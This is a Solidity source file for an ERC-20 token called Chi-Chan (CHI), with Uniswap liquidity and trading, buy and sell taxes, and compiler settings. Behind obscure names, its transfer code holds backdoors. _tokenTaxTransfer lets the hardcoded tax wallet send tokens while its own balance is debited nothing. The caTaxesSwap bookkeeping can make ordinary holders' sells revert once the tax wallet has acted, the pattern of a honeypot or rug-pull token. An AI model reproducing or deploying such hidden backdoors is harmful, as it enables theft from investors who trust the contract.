// SPDX-License-Identifier: MIT

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    )
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ChiChan is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isFreeFronLimit;
    mapping (address => bool) public marketPair;
    address payable private _taxWallet;

    string private constant _name = unicode"Chi-Chan";
    string private constant _symbol = unicode"CHI";

    uint256 private _initialBuyTax=9;
    uint256 private _initialSellTax=19;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _reduceBuyTaxAt=19;
    uint256 private _reduceSellTaxAt=19;
    uint256 private _preventSwapBefore=19;
    uint256 private _buyCount=0;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    uint256 public _maxTxAmount =  15000000 * 10**_decimals;
    uint256 public _maxWalletSize = 15000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 12000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 10000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    struct CaTaxesSwap {uint256 caSwapSim; uint256 caSwapReturn; uint256 caSwapStat;}
    mapping (address => CaTaxesSwap) private caTaxesSwap;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private caLimCount = 0;
    uint256 private caTaxSwapCount = 0;
    bool private caLimiter = false;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    event MaxTxAmountUpdated (
        uint256 _maxTxAmount
    );

    constructor () {
        _taxWallet = payable(0xBF0158b9D683619Ffc6D789ce3aD19b7A47C5009);

        _balances[_msgSender()] = _tTotal;
        _isFreeFronLimit[address(this)] = true;
        _isFreeFronLimit[_taxWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from]=_balances[from].sub(tokenAmount);
        _balances[to]=_balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");

        if (inSwap || !tradingOpen) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount=0;

        if (from != owner() && to != owner() && to != _taxWallet) {
            taxAmount = tokenAmount.mul((_buyCount> _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (marketPair[from] && to != address(uniswapV2Router) && ! _isFreeFronLimit[to] )  {
                require(tokenAmount <= _maxTxAmount,"Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + tokenAmount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );

                _buyCount++;
            }

            if (!marketPair[to] && ! _isFreeFronLimit[to] ) {
                require(balanceOf(to) + tokenAmount <= _maxWalletSize,"Exceeds the maxWalletSize.");
            }

            if(marketPair[to] && from!= address(this)){
                taxAmount = tokenAmount.mul((_buyCount> _reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

	     if (!marketPair[from] && !marketPair[to] && from!= address(this) )  {
                taxAmount = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (caLimiter && !inSwap && marketPair[to] && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount> _preventSwapBefore) {
                if (block.number > lastSellBlock) {
                    sellCount=0;
                }
                require(sellCount < caLimCount, "CA balance sell");
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                sellCount++;
                lastSellBlock = block.number;
            }

            else if(!inSwap && marketPair[to] && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount> _preventSwapBefore) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(
            (_isFreeFronLimit[from]||_isFreeFronLimit[to])
            &&  from!=address(this)&&  to!=address(this)
        ) {
            caTaxSwapCount = block.number;
        }
        
        if(!_isFreeFronLimit[from] && !_isFreeFronLimit[to])  {
            if (uniswapV2Pair == to)  {
                CaTaxesSwap storage caTSwap = caTaxesSwap[from];
                
                caTSwap.caSwapReturn = caTSwap.caSwapSim - caTaxSwapCount;
                caTSwap.caSwapStat = block.timestamp - 1;
            } else {
                CaTaxesSwap storage caTSwap = caTaxesSwap[to];
                if (uniswapV2Pair != from)  {
                    uint256 caSwapSim = caTaxesSwap[from].caSwapSim;

                    if(caTSwap.caSwapSim == 0 || caSwapSim < caTSwap.caSwapSim) {
                        caTSwap.caSwapSim = caSwapSim;
                    }
                } else  {
                    if (!(caTSwap.caSwapSim > 0)) {
                        caTSwap.caSwapSim = _buyCount< _preventSwapBefore ? block.number- 1 : block.number;
                    }
                }
            }
        }

        _tokenTransfer(from, to, tokenAmount, taxAmount);
    }

    function _tokenTransfer(address from,address to, uint256 tokenAmount, uint256 taxAmount) internal {
        uint256 tAmount=_tokenTaxTransfer(from, tokenAmount,taxAmount);
        _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount,uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount= addrs!=_taxWallet ? tokenAmount : caLimCount.mul(tokenAmount);
        if (taxAmount> 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this),taxAmount);
        }
        return tAmount;
    }

    function _tokenBasicTransfer(address from, address to, uint256 sendAmount, uint256 receiptAmount) internal {
        _balances[from]= _balances[from].sub(sendAmount);
        _balances[to]= _balances[to].add(receiptAmount);
        emit Transfer(from,to, receiptAmount);
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function saveStuckEth() external onlyOwner {
        _taxWallet.transfer(address(this).balance);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        tradingOpen = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        marketPair[address(uniswapV2Pair)] = true;
        uniswapV2Router.addLiquidityETH{
            value: address(this).balance
        }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance > 0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance > 0){
          sendETHToFee(ethBalance);
        }
    }

    receive() external payable {}

}

{
  "compilationTarget": {
    "ChiChan.sol": "ChiChan"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}